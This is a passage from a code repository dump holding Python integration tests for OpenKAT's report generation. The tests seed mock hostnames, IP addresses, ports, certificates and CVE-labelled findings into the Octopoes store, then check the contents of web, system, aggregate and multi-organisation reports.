Dashboard.objects.create(name=\"Test\", organization=redteam_member.organization)\n\n    dashboard_item_1 = DashboardItem.objects.create(\n        dashboard=dashboard,\n        name=\"Medium severity findings\",\n        source=\"findings_list\",\n        query='{\"observed_at\":\"2015-06-06\", \"order_by\": \"score\", \"asc_desc\": \"asc\", \"limit\": 5,'\n        '\"severities\": [\"medium\"], \"exclude_muted\": true, \"only_muted\": false, \"search_string\": \"\"}',\n        settings={\n            \"size\": \"2\",\n            \"columns\": {\n                \"tree\": \"Tree\",\n                \"graph\": \"Graph\",\n                \"finding\": \"Finding\",\n                \"location\": \"Location\",\n                \"severity\": \"Severity\",\n            },\n        },\n        display_in_dashboard=True,\n    )\n\n    return [dashboard_item_1]\n"
  },
  {
    "path": "rocky/tests/integration/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/integration/conftest.py",
    "content": "import uuid\nfrom datetime import datetime, timezone\nfrom ipaddress import ip_address\n\nimport pytest\nfrom django.conf import settings\nfrom reports.runner.report_runner import LocalReportRunner\nfrom tools.models import Organization\n\nfrom octopoes.api.models import Declaration, Observation\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import OOI, DeclaredScanProfile, Reference\nfrom octopoes.models.ooi.certificate import X509Certificate\nfrom octopoes.models.ooi.dns.zone import Hostname, ResolvedHostname\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding, KATFindingType, RetireJSFindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom octopoes.models.ooi.web import URL, HostnameHTTPURL, HTTPHeader, HTTPResource, SecurityTXT, Website\nfrom rocky.health import ServiceHealth\n\n\n@pytest.fixture\ndef valid_time():\n    return datetime.now(timezone.utc)\n\n\n@pytest.fixture\ndef katalogus_mock(mocker):\n    katalogus = mocker.patch(\"katalogus.client.KATalogusClient\")\n    katalogus().health.return_value = ServiceHealth(service=\"katalogus\", healthy=True)\n\n    return katalogus\n\n\n@pytest.fixture\ndef integration_organization(katalogus_mock, mocker, request) -> Organization:\n    mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.get_bytes_client\")\n\n    test_node = f\"test-{request.node.originalname}\"\n\n    return Organization.objects.create(name=\"Test\", code=test_node)\n\n\n@pytest.fixture\ndef integration_organization_2(request) -> Organization:\n    test_node = f\"test-{request.node.originalname}-2\"\n\n    return Organization.objects.create(name=\"Test 2\", code=test_node)\n\n\n@pytest.fixture\ndef octopoes_api_connector(integration_organization) -> OctopoesAPIConnector:\n    connector = OctopoesAPIConnector(settings.OCTOPOES_API, integration_organization.code)\n\n    connector.create_node()\n    yield connector\n    connector.delete_node()\n\n\n@pytest.fixture\ndef octopoes_api_connector_2(integration_organization_2) -> OctopoesAPIConnector:\n    connector = OctopoesAPIConnector(settings.OCTOPOES_API, integration_organization_2.code)\n\n    connector.create_node()\n    yield connector\n    connector.delete_node()\n\n\n@pytest.fixture\ndef report_runner(valid_time, mocker) -> LocalReportRunner:\n    return LocalReportRunner(mocker.MagicMock(), valid_time)\n\n\ndef seed_system(\n    octopoes_api_connector: OctopoesAPIConnector,\n    valid_time: datetime,\n    test_hostname: str = \"example.com\",\n    test_ip: str = \"192.0.2.3\",\n    test_ipv6: str = \"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\",\n) -> dict[str, list[OOI]]:\n    network = Network(name=\"test\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    hostnames = [\n        Hostname(network=network.reference, name=test_hostname),\n        Hostname(network=network.reference, name=f\"a.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"b.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"c.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"d.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"e.{test_hostname}\"),\n        Hostname(network=network.reference, name=f\"f.{test_hostname}\"),\n    ]\n\n    addresses = [\n        IPAddressV4(network=network.reference, address=ip_address(test_ip)),\n        IPAddressV6(network=network.reference, address=ip_address(test_ipv6)),\n    ]\n    ports = [\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=25),\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=443),\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=22),\n        IPPort(address=addresses[1].reference, protocol=\"tcp\", port=80),\n    ]\n    services = [Service(name=\"smtp\"), Service(name=\"https\"), Service(name=\"http\"), Service(name=\"ssh\")]\n    ip_services = [\n        IPService(ip_port=ports[0].reference, service=services[0].reference),\n        IPService(ip_port=ports[1].reference, service=services[1].reference),\n        IPService(ip_port=ports[2].reference, service=services[3].reference),\n        IPService(ip_port=ports[3].reference, service=services[2].reference),\n    ]\n\n    resolved_hostnames = [\n        ResolvedHostname(hostname=hostnames[0].reference, address=addresses[0].reference),  # ipv4\n        ResolvedHostname(hostname=hostnames[0].reference, address=addresses[1].reference),  # ipv6\n        ResolvedHostname(hostname=hostnames[1].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[2].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[3].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[4].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[5].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[3].reference, address=addresses[1].reference),\n        ResolvedHostname(hostname=hostnames[4].reference, address=addresses[1].reference),\n        ResolvedHostname(hostname=hostnames[6].reference, address=addresses[1].reference),\n    ]\n    certificates = [\n        X509Certificate(\n            subject=test_hostname,\n            valid_from=\"2022-11-15T08:52:57\",\n            valid_until=\"2030-11-15T08:52:57\",\n            serial_number=\"abc123\",\n        )\n    ]\n    websites = [\n        Website(ip_service=ip_services[0].reference, hostname=hostnames[0].reference, certificates=certificates[0]),\n        Website(ip_service=ip_services[0].reference, hostname=hostnames[1].reference),\n    ]\n    software = [Software(name=\"DICOM\")]\n\n    web_urls = [\n        HostnameHTTPURL(netloc=hostnames[0].reference, path=\"/\", scheme=\"http\", network=network.reference, port=80),\n        HostnameHTTPURL(netloc=hostnames[0].reference, path=\"/\", scheme=\"https\", network=network.reference, port=443),\n    ]\n    instances = [\n        SoftwareInstance(ooi=ports[0].reference, software=software[0].reference),\n        SoftwareInstance(ooi=web_urls[0].reference, software=software[0].reference),\n    ]\n\n    urls = [URL(network=network.reference, raw=\"https://test.com/security\", web_url=web_urls[1].reference)]\n    resources = [\n        HTTPResource(website=websites[0].reference, web_url=web_urls[0].reference),\n        HTTPResource(website=websites[0].reference, web_url=web_urls[1].reference),\n    ]\n    headers = [HTTPHeader(resource=resources[1].reference, key=\"test key\", value=\"test value\")]\n    security_txts = [\n        SecurityTXT(website=websites[0].reference, url=urls[0].reference, security_txt=\"test text\"),\n        SecurityTXT(website=websites[1].reference, url=urls[0].reference, security_txt=\"test text\"),\n    ]\n    finding_types = [\n        KATFindingType(\n            id=\"KAT-NO-CSP\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\", recommendation=\"csp test\"\n        ),\n        KATFindingType(id=\"KAT-CSP-VULNERABILITIES\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"),\n        KATFindingType(id=\"KAT-NO-HTTPS-REDIRECT\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"),\n        KATFindingType(id=\"KAT-NO-CERTIFICATE\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"),\n        KATFindingType(id=\"KAT-CERTIFICATE-EXPIRED\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"),\n        KATFindingType(id=\"KAT-CERTIFICATE-EXPIRING-SOON\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"),\n        CVEFindingType(id=\"CVE-2019-8331\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"),\n        CVEFindingType(id=\"CVE-2018-20677\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"),\n        RetireJSFindingType(\n            id=\"RetireJS-jquerymigrate-f3a3\", risk_severity=RiskLevelSeverity.MEDIUM, description=\"test\"\n        ),\n    ]\n\n    findings = [\n        Finding(finding_type=finding_types[-3].reference, ooi=instances[1].reference),\n        Finding(finding_type=finding_types[-2].reference, ooi=instances[1].reference),\n        Finding(finding_type=finding_types[-1].reference, ooi=instances[1].reference),\n    ]\n\n    oois = (\n        hostnames\n        + addresses\n        + ports\n        + services\n        + ip_services\n        + resolved_hostnames\n        + websites\n        + software\n        + instances\n        + web_urls\n        + resources\n        + headers\n        + finding_types\n        + findings\n        + urls\n        + security_txts\n        + certificates\n    )\n\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=\"\",\n            source_method=\"test\",\n            source=network.reference,\n            task_id=uuid.uuid4(),\n            valid_time=valid_time,\n            result=oois,\n        )\n    )\n    octopoes_api_connector.recalculate_bits()\n\n    return {\n        \"hostnames\": hostnames,\n        \"addresses\": addresses,\n        \"ports\": ports,\n        \"services\": services,\n        \"ip_services\": ip_services,\n        \"resolved_hostnames\": resolved_hostnames,\n        \"websites\": websites,\n        \"software\": software,\n        \"instances\": instances,\n        \"web_urls\": web_urls,\n        \"resources\": resources,\n        \"headers\": headers,\n        \"finding_types\": finding_types,\n        \"urls\": urls,\n        \"security_txts\": security_txts,\n        \"certificates\": certificates,\n    }\n\n\n@pytest.fixture()\ndef hostname_oois():\n    return [\n        Hostname(\n            object_type=\"Hostname\",\n            scan_profile=DeclaredScanProfile(\n                scan_profile_type=\"declared\", reference=Reference(\"Hostname|test|example.com\"), level=2\n            ),\n            primary_key=\"Hostname|test|example.com\",\n            network=Reference(\"Network|test\"),\n            name=\"example.com\",\n            dns_zone=Reference(\"DNSZone|test|example.com\"),\n            registered_domain=None,\n        ).reference\n    ]\n"
  },
  {
    "path": "rocky/tests/integration/test_bench.py",
    "content": "import pytest\nfrom reports.report_types.aggregate_organisation_report.report import AggregateOrganisationReport\nfrom reports.runner.report_runner import aggregate_reports\n\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom tests.integration.conftest import seed_system\n\n\n@pytest.mark.slow\ndef test_aggregate_report_benchmark(octopoes_api_connector, valid_time, organization):\n    hostname_range = range(0, 20)\n    for x in hostname_range:\n        seed_system(\n            octopoes_api_connector,\n            valid_time,\n            test_hostname=f\"{x}.com\",\n            test_ip=f\"192.0.{x % 7}.{x % 13}\",\n            test_ipv6=f\"{x % 7}e4d:64a2:cb49:bd48:a1ba:def3:d15d:{x % 5}230\",\n        )\n\n    reports = [\n        x.id for x in AggregateOrganisationReport.reports[\"required\"] + AggregateOrganisationReport.reports[\"optional\"]\n    ]\n    _, data, _, _ = aggregate_reports(\n        octopoes_api_connector,\n        [Hostname(name=f\"{x}.com\", network=Network(name=\"test\").reference).reference for x in hostname_range],\n        reports,\n        valid_time,\n        organization.code,\n    )\n\n    assert data[\"systems\"]\n"
  },
  {
    "path": "rocky/tests/integration/test_report_runner.py",
    "content": "import json\n\nfrom reports.runner.report_runner import LocalReportRunner\n\nfrom octopoes.api.models import Declaration\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models.ooi.reports import ReportRecipe\nfrom rocky.health import ServiceHealth\nfrom rocky.scheduler import ReportTask\nfrom tests.integration.conftest import seed_system\n\n\ndef test_run_report_task(octopoes_api_connector: OctopoesAPIConnector, report_runner: LocalReportRunner, valid_time):\n    oois = seed_system(octopoes_api_connector, valid_time)\n    report_runner.bytes_client.health.return_value = ServiceHealth(service=\"bytes\", healthy=True)\n    report_runner.bytes_client.upload_raw.return_value = \"abcdabcd-f8ab-4bdf-9b1b-58cd98ef6342\"\n\n    recipe = ReportRecipe(\n        recipe_id=\"abc4e52b-812c-4cc2-8196-35fb8efc63ca\",\n        report_type=\"concatenated-report\",\n        report_name_format=\"Concatenated report for ${oois_count} objects\",\n        input_recipe={\"input_oois\": [oois[\"hostnames\"][0].reference, oois[\"hostnames\"][1].reference]},\n        asset_report_types=[\"dns-report\"],\n        cron_expression=\"* * * * *\",\n    )\n    octopoes_api_connector.save_declaration(Declaration(ooi=recipe, valid_time=valid_time))\n\n    task = ReportTask(organisation_id=octopoes_api_connector.client, report_recipe_id=str(recipe.recipe_id))\n    report_runner.run(task)\n\n    assert len(report_runner.bytes_client.upload_raw.mock_calls) == 3\n\n    assert report_runner.bytes_client.upload_raw.mock_calls[0].kwargs[\"manual_mime_types\"] == {\"openkat/report\"}\n    assert report_runner.bytes_client.upload_raw.mock_calls[1].kwargs[\"manual_mime_types\"] == {\"openkat/report\"}\n    assert report_runner.bytes_client.upload_raw.mock_calls[2].kwargs[\"manual_mime_types\"] == {\"openkat/report\"}\n\n    data = json.loads(report_runner.bytes_client.upload_raw.mock_calls[0].kwargs[\"raw\"])\n    data2 = json.loads(report_runner.bytes_client.upload_raw.mock_calls[1].kwargs[\"raw\"])\n    data[\"input_data\"][\"plugins\"][\"required\"] = set(data[\"input_data\"][\"plugins\"][\"required\"])  # ordering issues\n    data2[\"input_data\"][\"plugins\"][\"required\"] = set(data2[\"input_data\"][\"plugins\"][\"required\"])  # ordering issues\n\n    first_asset_calls = [\n        {\n            \"report_data\": {\n                \"input_ooi\": \"Hostname|test|example.com\",\n                \"records\": [],\n                \"security\": {\"spf\": True, \"dkim\": True, \"dmarc\": True, \"dnssec\": True, \"caa\": True},\n                \"finding_types\": [],\n            },\n            \"input_data\": {\n                \"input_oois\": [\"Hostname|test|example.com\"],\n                \"report_types\": [\"dns-report\"],\n                \"plugins\": {\"required\": {\"dns-records\", \"dns-sec\"}, \"optional\": [\"dns-zone\"]},\n            },\n        },\n        {\n            \"report_data\": {\n                \"input_ooi\": \"Hostname|test|a.example.com\",\n                \"records\": [],\n                \"security\": {\"spf\": True, \"dkim\": True, \"dmarc\": True, \"dnssec\": True, \"caa\": True},\n                \"finding_types\": [],\n            },\n            \"input_data\": {\n                \"input_oois\": [\"Hostname|test|a.example.com\"],\n                \"report_types\": [\"dns-report\"],\n                \"plugins\": {\"required\": {\"dns-records\", \"dns-sec\"}, \"optional\": [\"dns-zone\"]},\n            },\n        },\n    ]\n    assert data in first_asset_calls\n    assert data2 in first_asset_calls\n\n    data_report = {\n        \"input_data\": {\n            \"input_oois\": {\n                \"AssetReport|Hostname|test|example.com|dns-report\",\n                \"AssetReport|Hostname|test|a.example.com|dns-report\",\n            },\n            \"report_types\": [\"dns-report\"],\n            \"plugins\": {\"required\": {\"dns-records\", \"dns-sec\"}, \"optional\": [\"dns-zone\"]},\n        }\n    }\n\n    report_data = json.loads(report_runner.bytes_client.upload_raw.mock_calls[2].kwargs[\"raw\"])\n    # ordering issues\n    report_data[\"input_data\"][\"plugins\"][\"required\"] = set(report_data[\"input_data\"][\"plugins\"][\"required\"])\n    report_data[\"input_data\"][\"input_oois\"] = set(report_data[\"input_data\"][\"input_oois\"])\n\n    assert report_data == data_report\n\n    reports = octopoes_api_connector.list_reports(valid_time)\n    assert reports.count == 1\n\n    assert reports.items[0].name == \"Concatenated report for 2 objects\"\n    asset_reports = reports.items[0].input_oois\n    assert len(asset_reports) == 2\n\n    assert \"DNS Report for a.example.com\" in {x.name for x in asset_reports}\n\n    # FIXME: the naming logic in reports/views/mixins.py 107-112 is not right. We expect to find example.com in this\n    #  set, but instead only find a.example.com because when ooi_name is 'example.com', the check:\n    #  `ooi_name in default_name` also passes for 'DNS Report for Hostname|test|a.example.com in %Y'.\n    #  We shouldn't have to guess the match in the report_names argument. The name should be overridden on an object\n    #  in the report_data list probably. Note that sometimes this does work when the OOIs are ordered differently.\n"
  },
  {
    "path": "rocky/tests/integration/test_reports.py",
    "content": "from dataclasses import asdict\n\nfrom reports.report_types.aggregate_organisation_report.report import AggregateOrganisationReport\nfrom reports.report_types.definitions import MultiReport, Report\nfrom reports.report_types.multi_organization_report.report import MultiOrganizationReport, collect_report_data\nfrom reports.report_types.systems_report.report import SystemReport, SystemType\nfrom reports.report_types.web_system_report.report import WebSystemReport\nfrom reports.runner.report_runner import aggregate_reports\n\nfrom octopoes.api.models import Declaration\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.reports import ReportData\nfrom tests.integration.conftest import seed_system\n\n\ndef test_web_report(octopoes_api_connector: OctopoesAPIConnector, valid_time):\n    seed_system(octopoes_api_connector, valid_time)\n\n    report = WebSystemReport(octopoes_api_connector)\n    input_ooi = Reference.from_str(\"Hostname|test|example.com\")\n    data = report.collect_data([input_ooi], valid_time)[input_ooi]\n\n    assert data[\"input_ooi\"] == input_ooi\n    assert len(data[\"finding_types\"]) == 1\n    assert len(data[\"web_checks\"]) == 1\n\n    assert asdict(data[\"web_checks\"].checks[0]) == {\n        \"has_csp\": True,\n        \"has_no_csp_vulnerabilities\": True,\n        \"redirects_http_https\": True,\n        \"offers_https\": True,\n        \"has_security_txt\": True,\n        \"no_uncommon_ports\": True,\n        \"has_certificates\": True,\n        \"certificates_not_expired\": True,\n        \"certificates_not_expiring_soon\": True,\n    }\n\n    finding = Finding(\n        finding_type=Reference.from_str(\"KATFindingType|KAT-NO-CSP\"),\n        ooi=Reference.from_str(\"HTTPResource|test|192.0.2.3|tcp|25|smtp|test|example.com|http|test|example.com|80|/\"),\n    )\n    octopoes_api_connector.save_declaration(Declaration(ooi=finding, valid_time=valid_time))\n    checks = report.collect_data([input_ooi], valid_time)[input_ooi][\"web_checks\"].checks\n    assert checks[0].has_csp is False\n    assert checks[0].has_no_csp_vulnerabilities is False\n\n    finding = Finding(\n        finding_type=Reference.from_str(\"KATFindingType|KAT-NO-CERTIFICATE\"),\n        ooi=Reference.from_str(\"Website|test|192.0.2.3|tcp|25|smtp|test|example.com\"),\n    )\n    octopoes_api_connector.save_declaration(Declaration(ooi=finding, valid_time=valid_time))\n    data = report.collect_data([input_ooi], valid_time)[input_ooi]\n    assert data[\"web_checks\"].checks[0].offers_https is False\n\n    assert len(data[\"finding_types\"]) == 3\n\n\ndef test_system_report(octopoes_api_connector: OctopoesAPIConnector, valid_time):\n    seed_system(octopoes_api_connector, valid_time)\n\n    report = SystemReport(octopoes_api_connector)\n    input_ooi = Reference.from_str(\"Hostname|test|example.com\")\n    data = report.collect_data([input_ooi], valid_time)[input_ooi]\n\n    assert data[\"input_ooi\"] == input_ooi\n    assert data[\"summary\"] == {\"total_domains\": 7, \"total_systems\": 2}\n    assert data[\"services\"] == {\n        \"IPAddressV4|test|192.0.2.3\": {\n            \"hostnames\": [\n                \"Hostname|test|a.example.com\",\n                \"Hostname|test|b.example.com\",\n                \"Hostname|test|c.example.com\",\n                \"Hostname|test|d.example.com\",\n                \"Hostname|test|e.example.com\",\n                \"Hostname|test|example.com\",\n            ],\n            \"services\": [SystemType.DICOM, SystemType.MAIL, SystemType.OTHER, SystemType.WEB],\n        },\n        \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\": {\n            \"hostnames\": [\n                \"Hostname|test|c.example.com\",\n                \"Hostname|test|d.example.com\",\n                \"Hostname|test|example.com\",\n                \"Hostname|test|f.example.com\",\n            ],\n            \"services\": [SystemType.WEB],\n        },\n    }\n\n\ndef test_aggregate_report(octopoes_api_connector: OctopoesAPIConnector, valid_time, hostname_oois, organization):\n    seed_system(octopoes_api_connector, valid_time)\n\n    reports: list[type[Report] | type[MultiReport]] = (\n        AggregateOrganisationReport.reports[\"required\"] + AggregateOrganisationReport.reports[\"optional\"]\n    )\n    report_ids = [report_type.id for report_type in reports]\n    _, data, _, _ = aggregate_reports(octopoes_api_connector, hostname_oois, report_ids, valid_time, organization.code)\n\n    v4_test_hostnames = [\n        \"Hostname|test|a.example.com\",\n        \"Hostname|test|b.example.com\",\n        \"Hostname|test|c.example.com\",\n        \"Hostname|test|d.example.com\",\n        \"Hostname|test|e.example.com\",\n        \"Hostname|test|example.com\",\n    ]\n\n    assert data[\"systems\"][\"services\"] == {\n        \"IPAddressV4|test|192.0.2.3\": {\n            \"hostnames\": v4_test_hostnames,\n            \"services\": [SystemType.DICOM, SystemType.MAIL, SystemType.OTHER, SystemType.WEB],\n        },\n        \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\": {\n            \"hostnames\": [\n                \"Hostname|test|c.example.com\",\n                \"Hostname|test|d.example.com\",\n                \"Hostname|test|example.com\",\n                \"Hostname|test|f.example.com\",\n            ],\n            \"services\": [SystemType.WEB],\n        },\n    }\n\n    assert len(data[\"services\"][\"Dicom\"][\"IPAddressV4|test|192.0.2.3\"][\"hostnames\"]) == 6\n    assert len(data[\"services\"][\"Mail\"][\"IPAddressV4|test|192.0.2.3\"][\"hostnames\"]) == 6\n    assert len(data[\"services\"][\"Web\"][\"IPAddressV4|test|192.0.2.3\"][\"hostnames\"]) == 6\n    assert len(data[\"services\"][\"Other\"][\"IPAddressV4|test|192.0.2.3\"][\"hostnames\"]) == 6\n\n    assert \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\" not in data[\"services\"][\"Dicom\"]\n    assert \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\" not in data[\"services\"][\"Mail\"]\n    assert \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\" not in data[\"services\"][\"Other\"]\n    assert len(data[\"services\"][\"Web\"][\"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"][\"hostnames\"]) == 4\n\n    assert data[\"open_ports\"] == {\n        \"192.0.2.3\": {\n            \"ports\": {22: False, 25: False, 443: False},\n            \"services\": {22: [\"ssh\"], 25: [\"smtp\"], 443: [\"https\"]},\n            \"hostnames\": [x.replace(\"Hostname|test|\", \"\") for x in v4_test_hostnames],\n        },\n        \"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\": {\n            \"ports\": {80: False},\n            \"services\": {80: [\"http\"]},\n            \"hostnames\": [\"c.example.com\", \"d.example.com\", \"example.com\", \"f.example.com\"],\n        },\n    }\n    assert data[\"ipv6\"] == {\"example.com\": {\"enabled\": True, \"systems\": [\"Dicom\", \"Mail\", \"Other\", \"Web\"]}}\n    assert data[\"vulnerabilities\"][\"IPAddressV4|test|192.0.2.3\"][\"summary\"] == {\n        \"total_findings\": 6,\n        \"total_criticals\": 0,\n        \"terms\": [\"CVE-2018-20677\", \"CVE-2019-8331\", \"RetireJS-jquerymigrate-f3a3\"],\n        \"recommendations\": [],\n    }\n\n    v4_vulnerabilities = data[\"vulnerabilities\"][\"IPAddressV4|test|192.0.2.3\"]\n    assert v4_vulnerabilities[\"title\"] == \"192.0.2.3\"\n    assert v4_vulnerabilities[\"vulnerabilities\"][\"CVE-2018-20677\"][\"occurrences\"] == 2\n    assert v4_vulnerabilities[\"vulnerabilities\"][\"RetireJS-jquerymigrate-f3a3\"][\"occurrences\"] == 2\n    assert v4_vulnerabilities[\"vulnerabilities\"][\"CVE-2019-8331\"][\"occurrences\"] == 2\n\n    v6_vulnerabilities = data[\"vulnerabilities\"][\"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"]\n    assert v6_vulnerabilities[\"title\"] == \"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"\n    assert v6_vulnerabilities[\"summary\"] == {\n        \"total_findings\": 6,\n        \"total_criticals\": 0,\n        \"terms\": [\"CVE-2018-20677\", \"CVE-2019-8331\", \"RetireJS-jquerymigrate-f3a3\"],\n        \"recommendations\": [],\n    }\n    assert v6_vulnerabilities[\"title\"] == \"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"\n    assert v6_vulnerabilities[\"vulnerabilities\"][\"CVE-2018-20677\"][\"occurrences\"] == 2\n    assert v6_vulnerabilities[\"vulnerabilities\"][\"RetireJS-jquerymigrate-f3a3\"][\"occurrences\"] == 2\n    assert v6_vulnerabilities[\"vulnerabilities\"][\"CVE-2019-8331\"][\"occurrences\"] == 2\n\n    assert data[\"basic_security\"][\"summary\"][\"Dicom\"] == {\n        \"rpki\": {\"number_of_compliant\": 1, \"total\": 1},\n        \"system_specific\": {\"number_of_compliant\": 0, \"total\": 0, \"checks\": {}, \"ips\": {}},\n        \"safe_connections\": {\"number_of_compliant\": 1, \"total\": 1},\n    }\n    assert data[\"basic_security\"][\"summary\"][\"Mail\"] == {\n        \"rpki\": {\"number_of_compliant\": 1, \"total\": 1},\n        \"system_specific\": {\n            \"number_of_compliant\": 1,\n            \"total\": 1,\n            \"checks\": {\"SPF\": 1, \"DKIM\": 1, \"DMARC\": 1},\n            \"ips\": {\"IPAddressV4|test|192.0.2.3\": []},\n        },\n        \"safe_connections\": {\"number_of_compliant\": 1, \"total\": 1},\n    }\n    security_txt_finding_type = KATFindingType(\n        id=\"KAT-NO-SECURITY-TXT\",\n        description=\"This hostname does not have a Security.txt file.\",\n        recommendation=\"Make sure there is a security.txt available.\",\n        risk_severity=RiskLevelSeverity.RECOMMENDATION,\n    )\n    assert data[\"basic_security\"][\"summary\"][\"Web\"] == {\n        \"rpki\": {\"number_of_compliant\": 2, \"total\": 2},\n        \"system_specific\": {\n            \"number_of_compliant\": 2,\n            \"total\": 2,\n            \"checks\": {\n                \"CSP Present\": 2,\n                \"Secure CSP Header\": 2,\n                \"Redirects HTTP to HTTPS\": 2,\n                \"Offers HTTPS\": 2,\n                \"Has a Security.txt\": 2,\n                \"No unnecessary ports open\": 2,\n                \"Has a certificate\": 2,\n                \"Certificate is not expired\": 2,\n                \"Certificate is not expiring soon\": 2,\n            },\n            \"ips\": {\n                \"IPAddressV4|test|192.0.2.3\": [security_txt_finding_type],\n                \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\": [security_txt_finding_type],\n            },\n        },\n        \"safe_connections\": {\"number_of_compliant\": 2, \"total\": 2},\n    }\n    assert data[\"basic_security\"][\"summary\"][\"Other\"] == {\n        \"rpki\": {\"number_of_compliant\": 1, \"total\": 1},\n        \"system_specific\": {\"number_of_compliant\": 0, \"total\": 0, \"checks\": {}, \"ips\": {}},\n        \"safe_connections\": {\"number_of_compliant\": 1, \"total\": 1},\n    }\n\n    assert data[\"total_findings\"] == 3\n    assert data[\"total_systems\"] == 2\n\n\ndef test_multi_report(\n    octopoes_api_connector: OctopoesAPIConnector,\n    octopoes_api_connector_2: OctopoesAPIConnector,\n    valid_time,\n    hostname_oois,\n    organization,\n):\n    seed_system(octopoes_api_connector, valid_time)\n    seed_system(octopoes_api_connector_2, valid_time)\n\n    reports = AggregateOrganisationReport.reports[\"required\"] + AggregateOrganisationReport.reports[\"optional\"]\n    report_ids = [report_type.id for report_type in reports]\n    _, data, _, _ = aggregate_reports(octopoes_api_connector, hostname_oois, report_ids, valid_time, organization.code)\n    _, data_2, _, _ = aggregate_reports(\n        octopoes_api_connector_2, hostname_oois, report_ids, valid_time, organization.code\n    )\n\n    report_data_object = ReportData(\n        organization_code=octopoes_api_connector.client,\n        organization_name=\"Test name\",\n        organization_tags=[\"test1\"],\n        data=data,\n    )\n    report_data_object_2 = ReportData(\n        organization_code=octopoes_api_connector_2.client,\n        organization_name=\"Name2\",\n        organization_tags=[\"test1\", \"test2\", \"test3\"],\n        data=data_2,\n    )\n\n    # Save second organization info in the first organization\n    octopoes_api_connector.save_declaration(Declaration(ooi=report_data_object, valid_time=valid_time))\n    octopoes_api_connector.save_declaration(Declaration(ooi=report_data_object_2, valid_time=valid_time))\n\n    multi_report = MultiOrganizationReport(octopoes_api_connector)\n    multi_report_data = collect_report_data(\n        octopoes_api_connector, [str(report_data_object.reference), str(report_data_object_2.reference)], valid_time\n    )\n    multi_data = multi_report.post_process_data(multi_report_data)\n    assert multi_data[\"organizations\"] == [octopoes_api_connector.client, octopoes_api_connector_2.client]\n    assert multi_data[\"tags\"] == {\n        \"test1\": [\"test-test_multi_report\", \"test-test_multi_report-2\"],\n        \"test2\": [\"test-test_multi_report-2\"],\n        \"test3\": [\"test-test_multi_report-2\"],\n    }\n\n    assert multi_data[\"basic_security_score\"] == 100\n    assert multi_data[\"total_critical_vulnerabilities\"] == 0\n    assert multi_data[\"total_findings\"] == 6\n    assert multi_data[\"total_systems\"] == 4\n    assert multi_data[\"total_hostnames\"] == 14\n    assert multi_data[\"service_counts\"] == {\"Mail\": 2, \"Web\": 4, \"Dicom\": 2, \"Other\": 2}\n    assert multi_data[\"open_ports\"] == {\n        \"total\": 4,\n        \"ports\": {\n            \"80\": {\"open\": 2, \"services\": {\"http\"}},\n            \"443\": {\"open\": 2, \"services\": {\"https\"}},\n            \"22\": {\"open\": 2, \"services\": {\"ssh\"}},\n            \"25\": {\"open\": 2, \"services\": {\"smtp\"}},\n        },\n    }\n\n    assert multi_data[\"asset_vulnerabilities\"] == [\n        {\n            \"asset\": \"IPAddressV6|test|3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\",\n            \"vulnerabilities\": {\"CVE-2018-20677\": None, \"CVE-2019-8331\": None, \"RetireJS-jquerymigrate-f3a3\": None},\n            \"organisation\": \"test-test_multi_report\",\n            \"services\": [\"Web\"],\n        },\n        {\n            \"asset\": \"IPAddressV4|test|192.0.2.3\",\n            \"vulnerabilities\": {\"CVE-2018-20677\": None, \"CVE-2019-8331\": None, \"RetireJS-jquerymigrate-f3a3\": None},\n            \"organisation\": \"test-test_multi_report\",\n            \"services\": [\"Dicom\", \"Mail\", 